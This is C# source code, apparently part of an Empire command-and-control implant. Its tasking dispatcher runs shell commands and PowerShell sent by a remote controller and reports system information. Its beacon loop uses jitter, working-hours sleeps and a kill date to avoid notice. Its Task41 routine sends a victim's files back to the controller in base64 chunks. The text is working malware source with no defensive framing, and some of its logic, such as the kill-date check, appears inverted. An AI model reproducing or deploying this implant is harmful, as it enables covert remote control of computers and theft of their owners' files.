//////////////////////////////////////////////////////////////////////////////// //The hard part //////////////////////////////////////////////////////////////////////////////// private byte[] ProcessTasking(PACKET packet) { byte[] returnPacket = new byte[0]; try { //Change this to a switch : case int type = packet.type; switch (type) { case 1: byte[] systemInformationBytes = EmpireStager.GetSystemInformation("0", "servername"); string systemInformation = Encoding.ASCII.GetString(systemInformationBytes); return(EncodePacket(1, systemInformation, packet.taskId)); case 2: string message = "[!] Agent " + sessionInfo.GetAgentID() + " exiting"; SendMessage(EncodePacket(2, message, packet.taskId)); Environment.Exit(0); //This is still dumb return(new byte[0]); case 40: string[] parts = packet.data.Split(' '); string output; if (parts[0] == "Set-Delay") { Console.WriteLine("Current delay" + sessionInfo.GetDefaultDelay()); sessionInfo.SetDefaultDelay(UInt32.Parse(parts[1])); sessionInfo.SetDefaultJitter(UInt32.Parse(parts[2])); output = "Delay set to " + parts[1] + "Jitter set to " + parts[2]; } else if (1 == parts.Length) { output = Agent.InvokeShellCommand(parts.FirstOrDefault(), ""); } else { output = Agent.InvokeShellCommand(parts.FirstOrDefault(), string.Join(" ", parts.Skip(1).Take(parts.Length - 1).ToArray())); } byte[] packetBytes = EncodePacket(packet.type, output, packet.taskId); return(packetBytes); case 41: return(Task41(packet)); case 42: return(Task42(packet)); case 43: return(Task43(packet)); case 44: return(Task44(packet)); case 50: List <string> runningJobs = new List <string>(jobTracking.jobs.Keys); return(EncodePacket(packet.type, runningJobs.ToArray(), packet.taskId)); case 51: return(Task51(packet)); case 100: return(EncodePacket(packet.type, Agent.RunPowerShell(packet.data), packet.taskId)); case 101: return(Task101(packet)); case 110: string jobId = jobTracking.StartAgentJob(packet.data, packet.taskId); return(EncodePacket(packet.type, "Job started: " + jobId, packet.taskId)); case 111: return(EncodePacket(packet.type, "Not Implimented", packet.taskId)); case 120: return(Task120(packet)); case 121: return(Task121(packet)); default: return(EncodePacket(0, "Invalid type: " + packet.type, packet.taskId)); } } catch (Exception error) { return(EncodePacket(packet.type, "Error running command: " + error, packet.taskId)); } }
//////////////////////////////////////////////////////////////////////////////// // Main Loop //////////////////////////////////////////////////////////////////////////////// private void Run() { //////////////////////////////////////////////////////////////////////////////// if (sessionInfo.GetKillDate().CompareTo(DateTime.Now) > 0 || coms.MissedCheckins > sessionInfo.GetDefaultLostLimit()) { jobTracking.CheckAgentJobs(ref packets, ref coms); if (packets.Length > 0) { coms.SendMessage(packets); } string message = ""; if (sessionInfo.GetKillDate().CompareTo(DateTime.Now) > 0) { message = "[!] Agent " + sessionInfo.GetAgentID() + " exiting: past killdate"; } else { message = "[!] Agent " + sessionInfo.GetAgentID() + " exiting: Lost limit reached"; } ushort result = 0; coms.SendMessage(coms.EncodePacket(2, message, result)); Environment.Exit(1); } //////////////////////////////////////////////////////////////////////////////// if (null != sessionInfo.GetWorkingHoursStart() && null != sessionInfo.GetWorkingHoursEnd()) { DateTime now = DateTime.Now; if ((sessionInfo.GetWorkingHoursEnd() - sessionInfo.GetWorkingHoursStart()).Hours < 0) { sessionInfo.SetWorkingHoursStart(sessionInfo.GetWorkingHoursStart().AddDays(-1)); } if (now.CompareTo(sessionInfo.GetWorkingHoursStart()) > 0 && now.CompareTo(sessionInfo.GetWorkingHoursEnd()) < 0) { TimeSpan sleep = sessionInfo.GetWorkingHoursStart().Subtract(now); if (sleep.CompareTo(0) < 0) { sleep = (sessionInfo.GetWorkingHoursStart().AddDays(1) - now); } Thread.Sleep((int)sleep.TotalMilliseconds); } } //////////////////////////////////////////////////////////////////////////////// if (0 != sessionInfo.GetDefaultDelay()) { int max = (int)((sessionInfo.GetDefaultJitter() + 1) * sessionInfo.GetDefaultDelay()); if (max > int.MaxValue) { max = int.MaxValue - 1; } int min = (int)((sessionInfo.GetDefaultJitter() - 1) * sessionInfo.GetDefaultDelay()); if (min < 0) { min = 0; } int sleepTime; if (min == max) { sleepTime = min; } else { Random random = new Random(); sleepTime = random.Next(min, max); } Thread.Sleep(sleepTime * 1000); } //////////////////////////////////////////////////////////////////////////////// byte[] jobResults = jobTracking.GetAgentJobsOutput(ref coms); if (0 < jobResults.Length) { coms.SendMessage(jobResults); } //////////////////////////////////////////////////////////////////////////////// byte[] taskData = coms.GetTask(); if (taskData.Length > 0) { coms.MissedCheckins = 0; if (String.Empty != Encoding.UTF8.GetString(taskData)) { coms.DecodeRoutingPacket(taskData, ref jobTracking); } } GC.Collect(); }
//////////////////////////////////////////////////////////////////////////////// // Download File from Agent //////////////////////////////////////////////////////////////////////////////// public byte[] Task41(PACKET packet) { try { int chunkSize = 512 * 1024; string[] packetParts = packet.data.Split(' '); string path = ""; if (packetParts.Length > 1) { path = string.Join(" ", packetParts.Take(packetParts.Length - 2).ToArray()); try { chunkSize = Convert.ToInt32(packetParts[packetParts.Length - 1]) / 1; if (packetParts[packetParts.Length - 1].Contains('b')) { chunkSize = chunkSize * 1024; } } catch { path += " " + packetParts[packetParts.Length - 1]; } } else { path = packet.data; } path = path.Trim('\"').Trim('\''); if (chunkSize < 64 * 1024) { chunkSize = 64 * 1024; } else if (chunkSize > 8 * 1024 * 1024) { chunkSize = 8 * 1024 * 1024; } DirectoryInfo directoryInfo = new DirectoryInfo(path); FileInfo[] completePath = directoryInfo.GetFiles(path); int index = 0; string filePart = ""; do { byte[] filePartBytes = Agent.GetFilePart(path, index, chunkSize); filePart = Convert.ToBase64String(filePartBytes); if (filePart.Length > 0) { string data = index.ToString() + "|" + path + "|" + filePart; SendMessage(EncodePacket(packet.type, data, packet.taskId)); index++; if (sessionInfo.GetDefaultDelay() != 0) { int max = (int)((sessionInfo.GetDefaultJitter() + 1) * sessionInfo.GetDefaultDelay()); if (max > int.MaxValue) { max = int.MaxValue - 1; } int min = (int)((sessionInfo.GetDefaultJitter() - 1) * sessionInfo.GetDefaultDelay()); if (min < 0) { min = 0; } int sleepTime; if (min == max) { sleepTime = min; } else { Random random = new Random(); sleepTime = random.Next(min, max); } Thread.Sleep(sleepTime); } GC.Collect(); } } while (filePart.Length != 0); return(EncodePacket(packet.type, "[*] File download of " + path + " completed", packet.taskId)); } catch { return(EncodePacket(packet.type, "[!] File does not exist or cannot be accessed", packet.taskId)); } }